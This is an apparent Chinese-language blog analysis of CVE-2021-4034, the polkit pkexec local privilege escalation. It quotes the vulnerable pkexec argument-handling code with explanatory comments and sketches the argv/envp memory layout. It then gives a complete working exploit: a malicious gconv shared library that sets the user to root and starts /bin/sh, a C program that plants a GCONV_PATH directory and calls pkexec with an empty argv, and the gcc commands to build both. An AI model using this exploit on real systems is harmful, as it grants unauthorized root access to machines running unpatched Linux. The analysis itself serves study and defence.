CVE-2021-4034 Linux Polkit 权限提升漏洞分析

CVE-2021-4034 Linux Polkit 权限提升漏洞分析https://cn.4xpl0r3r.com/漏洞分析/CVE-2021-4034-Linux-Polkit-权限提升漏洞分析/

for (n = 1; n < (guint) argc; n++) // 注意这一句，如果我们传递了参数后，n应该在结束循环时与argc相等，如果没有参数，argc就为0，但是由于此处n的初始值为1，因此如果没有参数被传递，1就变成了argc(0)+1，如果后续继续使用n的话，就有可能出现问题{  if (strcmp (argv[n], "--help") == 0)    {      opt_show_help = TRUE;    }  else if (strcmp (argv[n], "--version") == 0)    {      opt_show_version = TRUE;    }  else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)    {      n++;      if (n >= (guint) argc)        {          usage (argc, argv);          goto out;        }      if (opt_user != NULL)        {          g_printerr ("--user specified twicen");          goto out;        }      opt_user = g_strdup (argv[n]);    }  else if (strcmp (argv[n], "--disable-internal-agent") == 0)    {      opt_disable_internal_agent = TRUE;    }  else    {      break;    }}

path = g_strdup (argv[n]); // 分析代码，我们可以发现n在此时被使用，g_strdup复制目标字符串，但是如果我们不传递任何参数，g_strdup用于拷贝字符串，如果没有参数传递，这里就产生内存越界读取了if (path == NULL){  GPtrArray *shell_argv;  path = g_strdup (pwstruct.pw_shell);  if (!path){      g_printerr ("No shell configured or error retrieving pw_shelln");      goto out;}  /* If you change this, be sure to change the if (!command_line)case below too */  command_line = g_strdup (path);  shell_argv = g_ptr_array_new ();  g_ptr_array_add (shell_argv, path);  g_ptr_array_add (shell_argv, NULL);  exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);}if (path[0] != '/') // 如果路径不是绝对路径{  /* g_find_program_in_path() is not suspectible to attacks via the environment */  s = g_find_program_in_path (path);  if (s == NULL)    {      g_printerr ("Cannot run program %s: %sn", path, strerror (ENOENT));      goto out;    }  g_free (path);  argv[n] = path = s; // 触发越界内存写入}

|---------+---------+-----+------------|---------+---------+-----+------------|| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] ||----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|     V         V                V           V         V                V "program" "-option"           NULL      "value" "PATH=name"          NULL

if (clearenv () != 0)  {    g_printerr ("Error clearing environment: %sn", g_strerror (errno));    goto out;  }

#include <stdlib.h>#include <unistd.h>void gconv() {}void gconv_init() {  setuid(0); seteuid(0); setgid(0); setegid(0);  system("PATH=/bin:/usr/bin:/sbin /bin/sh");}

gcc -shared -fPIC payload.c -o payload.so

#include <stdio.h>#include <unistd.h>#include <sys/stat.h>int main() {    char* _argv[]={ NULL };    char* _envp[]={        "x",        "PATH=GCONV_PATH=.",        "LC_MESSAGES=en_US.UTF-8",        "XAUTHORITY=..",        NULL    };    mkdir("GCONV_PATH=.", 0777);    mkdir("x", 0777);    FILE *fp = fopen("x/gconv-modules", "wb");    fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2n");    fclose(fp);    execve("/usr/bin/pkexec", _argv, _envp);}

gcc exploit.c -o exp.out